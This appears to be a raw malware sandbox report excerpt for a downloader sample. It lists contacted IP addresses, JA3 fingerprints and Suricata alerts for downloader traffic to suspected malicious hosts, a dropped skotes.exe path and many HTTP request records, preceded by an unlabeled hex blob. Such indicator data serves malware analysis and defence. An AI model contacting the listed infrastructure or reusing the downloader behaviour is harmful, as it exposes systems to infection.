a5 f0 82 c6 e4 10 2e 81 9d e9 af 92 ea 57 7e 2b 7f 90 72 53 4b 76 fb b7 a4 eb bd 3d 12 f5 2c ba 2c d8 94 8b dd 46 3a 0f ee 74 78 59 97 10 16 de ec b3 98 a1 de 54 ec d6 a1 f4 69 f6 84 36 04 be c8 79 6e 58 4b f8 80 09 14 b2 8e d5 03 03 02 e1 49 3a ec cb 30 1f 75 99 5b ac e1 ad 78 52 cc ea 81 eb dc 3b 3c fb d0 d0 57 86 d6 ed 97 c5 f7 5e ce 7a a5 8a f6 68 83 75 53 02 d8 4e 1f 84 9d 88 f1 7e 11 34 b9 10 d3 16 10 bf 15 54 4d 5d 75 45 2e b6 5b 25 5d 22 1e 30 15 7d 30 a3 cc 35 c4 f3 ed fb a2 bf 60 99 e7 41 ab 1d 7f 2b a4 43 22 b9 40 78 74 76 d4 ce 17 e3 4c 97 9b 97 67 98 90 0d b0 d7 31 5d b0 6c 41 b6 cd a7 a6 79 19 f0 44 ae 40 d6 7f 0e 53 c6 b4 96 5d 16 6e 09 7b 75 fd 10 f8 84 90 e1 63 0a 72 99 b8 45 27 c4 ab bc 23 b7 83 b0 2c 8e 77 a1 7a f9 41 74 32 13 ef ed f0 4f c6 ab c6 8e 17 bb 76 b1 fe ba 61 f0 e1 e7 50 ce 99 4a 8d 7c 49 dd 96 a3 a8 1d 28 94 62 b4 9f ae cf c2 16 d2 d5 3b 7f 5e 0a 42 17 69 86 3f 8b 4c bf 8d 09 13 13 a5 ea 9c 51 95 e0 c7 04 6a d9 93 2f c2 38 68 57 1d 1e c9 a3 29 fd 36 3b 85 69 b1 b8 d0 d7 9b 56 c4 b0 9b 73 b0 2b fc 17 dd 51 7d a8 c1 bd ff a9 01 68 ba c2 08 24 83 41 53 72 15 d4 6d ea b1 a9 59 60 95 ec a2 f1 46 b3 b2 71 e4 2f 41 7b 4e db ff 99 04 4d 9d 0f 6e 64 47 06 ec cc 0d 0e 97 87 5e 40 49 aa 51 fe 6c 80 1a c3 a0 e4 c6 ff 97 e6 58 f3 c0 32 b5 2e e7 b1 ae c8 6d 92 e8 c1 6b 8f f3 0c 34 de b3 0b 43 7e cb 2c 57 91 c1 8b ad 0c 6f 19 60 9b fd c0 0e 12 dc 51 88 46 2c f5 31 57 34 74 e1 7e 77 71 47 1c 1a 2b 24 bd bf 83 7d 0f 0e f4 02 e5 03 11 46 2d 22 07 06 9c 71 b7 3d 91 38 9e ce 3d 23 21 c9 83 68 5c 2c 52 c8 f8 06 0f a7 72 74 8a 9a 77 cf 92 22

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.117.188.166 34.117.188.166
Source: Joe Sandbox View	IP Address: 31.41.244.11 31.41.244.11

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49787 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49780 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49810 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49807 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49821 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49828 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49881 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49867 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49895 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49930 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49952 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49951 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49968 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49995 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50001 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50009 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50017 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50024 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50050 -> 188.114.97.3:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0026BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_0026BE30

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HCP5MrmtaEMmrhs&MD=AcWGvp2e HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HCP5MrmtaEMmrhs&MD=AcWGvp2e HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
